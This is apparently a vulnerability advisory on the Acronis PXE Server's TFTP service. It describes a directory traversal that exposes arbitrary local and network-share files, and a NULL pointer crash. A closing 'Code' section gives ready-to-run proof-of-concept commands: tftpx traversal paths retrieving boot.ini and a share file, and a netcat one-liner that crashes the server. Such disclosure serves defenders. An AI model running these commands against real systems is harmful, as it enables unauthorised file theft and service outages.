===============
1) Introduction
===============


The Acronis PXE Server is an essential component of Acronis Snap Deploy
Server, a deployment solution for automatically configuring all the
clients of the local network.

2) Bugs
=======

----------------------
A] directory traversal
----------------------

The PXE Server (pxesrv.exe) implements a TFTP server for allowing the
downloading of the bootstrap files (uploading is not allowed).
This service is vulnerable to a classical directory traversal and an
arbitrary path attacks which allow an attacker to download any file
from the local disks or the network shares.


---------------
B] NULL pointer
---------------

An incomplete TFTP request (anything which goes from the simple absence
of the option field to the usage of only the 2 bytes for the opcode)
causes the crashing of the PXE Server due to a NULL pointer access.

3) The Code
===========


A]
http://aluigi.org/testz/tftpx.zip

  tftpx SERVER ..\../..\../boot.ini none
  tftpx SERVER c:\boot.ini none
  tftpx SERVER \\internal_host\documents\file.txt none

B]
send the bytes 00 01 to UDP port 69 of the server:

  echo -n -e \x00\x01|nc SERVER 69 -v -v -u
